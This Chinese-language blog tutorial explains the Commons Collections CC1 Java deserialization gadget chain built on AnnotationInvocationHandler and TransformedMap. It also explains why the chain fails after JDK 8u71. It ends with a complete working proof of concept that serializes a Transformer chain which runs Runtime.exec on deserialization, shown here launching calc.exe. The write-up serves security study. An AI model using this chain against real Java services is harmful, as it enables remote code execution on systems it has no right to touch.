java安全之CC1淺學(2)

2022-11-10 18:00:32

前言

上一篇瞭解了commons-collections中的Transformer,並且構造了一個簡單的payload,接下來就需要將其改造為一個可利用的POC

AnnotationInvocationHandler

前面說過,觸發漏洞的核心,在於需要向Map中加入新的元素,在上一篇中,我們是手動執行行 outerMap.put("test", "xxxx");來觸發漏洞的,所以在實際反序列化利用的時候,時,我們需要找到一個 類,它在反序列化的readObject邏輯裡有類似的寫入操作。

這個類就是 sun.reflect.annotation.AnnotationInvocationHandler ,我們檢視它的readObject方法(這是8u71以前的程式碼,8u71以後做了一些修改)

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();
     // Check to make sure that types have not evolved incompatibly
        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
            }catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type inannotation serial stream");
        }
        Map<String, Class<?>> memberTypes = annotationType.memberTypes();
            // If there are annotation members without values, that
            // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue:memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) { // i.e. member still exists
             Object value = memberValue.getValue();
              if (!(memberType.isInstance(value) ||
                 value instanceof ExceptionProxy)) {
                   memberValue.setValue(
                     new AnnotationTypeMismatchExceptionProxy(
                       value.getClass() + "[" + value + "]").setMember(
                         annotationType.members().get(name)));
            }
           }
        }
}

核心邏輯就是 Map.Entry memberValue : memberValues.entrySet()memberValue.setValue(...)

memberValues就是反序列化後得到的Map,也是經過了TransformedMap修飾的物件,這裡遍歷了它 的所有元素,並依次設定值。在呼叫setValue設定值的時候就會觸發TransformedMap裡註冊的 Transform,進而執行我們為其精心設計的任意程式碼

所以,我們構造POC的時候,就需要建立一個AnnotationInvocationHandler物件,並將前面構造的HashMap設定進來

Class cls =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);

這裡因為sun.reflect.annotation.AnnotationInvocationHandler是在JDK內部的類,不能直接使用new來範例化。可以使用反射獲取它的構造方法,並將其設定成外部可見的,再呼叫就可以範例化了。AnnotationInvocationHandler類別建構函式有兩個引數,第一個引數是一個Annotation類;第二個是引數就是前面構造的Map

這裡有兩個問題:什麼是Annotation類?為什麼這裡使用 Retention.class ?

需要反射

上面我們構造了一個AnnotationInvocationHandler物件,它就是我們反序列化利用鏈的起點了。我們通過如下程式碼將這個物件生成序列化流:

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();

我們和上一篇文章的payload組成一個完整的POC。我們試著執行這個POC,看看能否生成序列化資料流:

在writeObject的時候出現異常了: java.io.NotSerializableException: java.lang.Runtime

原因是Java中不是所有物件都支援序列化,待序列化的物件和所有它使用的內部屬性物件,必須都實現了 java.io.Serializable 介面。而我們最早傳給ConstantTransformer的是 Runtime.getRuntime() ,Runtime類是沒有實現 java.io.Serializable介面的,所以不允許被序列化的。

在前邊的《Java安全之反射》一篇中,提到可以通過反射來獲取當前上下文中的Runtime物件,而不需要直接使用這個類:

Method f = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) f.invoke(null);
r.exec("calc.exe");

轉換成Transformer的寫法就是如下:

Transformer[] transformers= new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class,Object[].class},
                        new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[] {String.class},
                        new String[]{"calc.exe"}
};

這裡我們將Runtime.getRuntime() 換成了 Runtime.class ,前者是一個 java.lang.Runtime 物件,後者是一個 java.lang.Class 物件。Class類有實現Serializable介面,所以可以被序列化的。

這裡是傳入一個Runtime.class,通過反射拿到Runtime.getRuntime(),然後再反射拿到invoke方法,再反射拿到exec方法。

仍然無法觸發漏洞

修改Transformer陣列後再次執行,發現這次沒有報異常,而且輸出了序列化後的資料流,但是反序列化時仍然沒彈出計算器,這是為什麼呢?

這個實際上和AnnotationInvocationHandler類的邏輯有關,我們可以動態偵錯就會發現,在 AnnotationInvocationHandler#readObject 的邏輯中,有一個if語句對var7進行判斷,只有在其不是null的時候才會進入裡面執行setValue,否則不會進入也就不會觸發漏洞:

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;
  
    AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
          this.type = var1;
          this.memberValues = var2;
      }
  
    private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
          var1.defaultReadObject();
          AnnotationType var2 = null;

          try {
            //this.type是範例化的時候傳入的jdk自帶的Target.class
            //getInstance會獲取到@Target的基本資訊,包括註解元素,註解元素的預設值,生命週期,是否繼承等等
              var2 = AnnotationType.getInstance(this.type);
          } catch (IllegalArgumentException var9) {
              return;
          }

          Map var3 = var2.memberTypes();
          Iterator var4 = this.memberValues.entrySet().iterator();

          while(var4.hasNext()) {
              Entry var5 = (Entry)var4.next();
              String var6 = (String)var5.getKey();
              Class var7 = (Class)var3.get(var6);
              if (var7 != null) {
                  Object var8 = var5.getValue();
                  if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                      var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                  }
              }
          }

      }
  }

那麼如何讓這個var7不為null呢?兩個條件

  1. sun.reflect.annotation.AnnotationInvocationHandler建構函式的第一個引數必須是 Annotation的子類,且其中必須含有至少一個方法,假設方法名是X
  2. TransformedMap.decorate修飾的Map中必須有一個鍵名為X的元素

所以,這也就是前面用到Retention.class的原因,因為Retention有一個方法,名為value;所以,為了再滿足第二個條件,需要給Map中放入一個Key是value的元素:

innerMap.put("value", "xxxx");

8u71

再次修改POC之後,我們在本地進行測試,發現已經可以成功彈出計算器了。

但是,當我們拿著這串序列化流,跑到伺服器上進行反序列化時就會發現,又無法成功執行命令 了。這又是為什麼呢?

我這兒是拿到另一個Java 8u71以前版本的伺服器上進行測試的,在8u71以後Java官方修改了sun.reflect.annotation.AnnotationInvocationHandlerreadObject函數

jdk8u/jdk8u/jdk: f8a528d0379d (java.net)

對於這次修改,乍一看好像原因就是沒有了setValue,其實不然,可以看到上邊是新增了一個LinkedHashMap物件,並將原來的鍵值新增進去,所以,後續對Map的操作都是基於這個新的LinkedHashMap物件,而原來我們精心構造的Map不再執行set或put操作,也就不會觸發RCE了

小結

整體的POC如下

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class Test {
    public static void main(String[] args) throws Exception {
       Transformer[] transformers= new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class,Object[].class},
                        new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[] {String.class},
                        new String[]{"calc.exe"}
)};
       ChainedTransformer chain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, chain);
        innerMap.put("value","xxxx");


        Class cls =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = cls.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        Object obj = construct.newInstance(Retention.class, outerMap);


        ByteArrayOutputStream array = new ByteArrayOutputStream();
        ObjectOutputStream writeojb = new ObjectOutputStream(array);
        writeojb.writeObject(obj);
        writeojb.close();

        System.out.println(array);
        ObjectInputStream readobj = new ObjectInputStream(new ByteArrayInputStream(array.toByteArray()));
        readobj.readObject();


    }
}

但是這個Payload有一定侷限性,在Java 8u71以後的版本中,由於 sun.reflect.annotation.AnnotationInvocationHandler發生了變化導致不再可用,原因前文也說了。

ysoserial工具中沒有用到TransformedMap,而是使用了LazyMap

那麼LazyMap解決了這條鏈在高版本Java中的使用嗎?如何解決的呢?

下一篇文章來分析分析。